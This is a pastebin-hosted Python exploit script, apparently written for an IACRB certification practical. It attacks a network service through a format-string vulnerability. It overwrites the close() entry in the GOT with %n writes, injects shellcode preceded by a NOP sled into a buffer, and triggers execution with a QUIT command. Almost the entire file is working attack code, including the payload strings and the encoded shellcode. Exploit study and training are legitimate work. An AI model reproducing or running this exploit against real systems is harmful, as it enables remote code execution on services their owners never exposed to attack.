Guest

Untitled

By: a guest on Jan 7th, 2011  |  syntax: Python  |  size: 1.69 KB  |  hits: 175  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. #!/usr/bin/python
  2. # Kristian Erik Hermansen
  3. # IACRB Practical #2
  4. # June, 2007
  5.  
  6. import sys
  7. import time
  8. from socket import *
  9.  
  10. if len(sys.argv) != 3:
  11.     print "usage: %s <ip> <port>" % (sys.argv[0])
  12.     exit(1)
  13.  
  14. serverHost = sys.argv[1]
  15. serverPort = int(sys.argv[2])
  16.  
  17. s = socket(AF_INET, SOCK_STREAM)
  18. s.connect((serverHost, serverPort))
  19.  
  20. target = '\x08\x04\x91\x40' # close() in GOT
  21. target_2 = '\x08\x04\x91\x42'
  22.  
  23. # addr finder
  24. #n = 1
  25. #nmax = 700
  26.  
  27. #while n <= nmax:
  28. #    payload = target + 'AAA%' + str(n) + '$x'
  29. #    #print 'Sending: ' + payload
  30. #    s.send(payload[::-1] + '\n')
  31. #    time.sleep(1)
  32. #    data = s.recv(1024)
  33. #    if data.find('41') != -1:
  34. #        print payload
  35. #        print data
  36. #    n = n + 1
  37.  
  38.  
  39. #payload = target + 'ZZZ%14$14x%14$n'
  40. payload = target + 'ZZZ%.63281x%16$n' # 0xf738
  41. ###payload = target + target_2 + 'ZZZ%.17727x%16$hn%.18248x%16$hn'
  42. s.send(payload[::-1] + '\n')
  43. #time.sleep(1)
  44. #data = s.recv(1024)
  45. #print data
  46. payload = target_2 + 'ZZZ%.49144x%16$n' # 0xbfff
  47. s.send(payload[::-1] + '\n')
  48. #time.sleep(1)
  49. #data = s.recv(1024)
  50. #print data
  51.  
  52. # invokes 'id' command in shell, check server output
  53. shellcode =  "\x2b\xc9\x83\xe9\xf6\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x7b"
  54. shellcode += "\x31\xb5\x9d\x83\xeb\xfc\xe2\xf4\x11\x3a\xed\x04\x29\x57\xdd\xb0"
  55. shellcode += "\x18\xb8\x52\xf5\x54\x42\xdd\x9d\x13\x1e\xd7\xf4\x15\xb8\x56\xcf"
  56. shellcode += "\x93\x32\xb5\x9d\x7b\x58\xd1\x9d\x2c\x62\x3c\x7c\xb6\xb1\xb5\x9d"
  57.  
  58. # inject our code into reversed_line buffer
  59. s.send('\x90'*16 + shellcode[::-1] + '\n')
  60. #time.sleep(1)
  61. #data = s.recv(1024)
  62. #print data
  63.  
  64. # finally force the GOT'd close() pointing to our injection
  65. s.send('QUIT\n')
  66. s.close()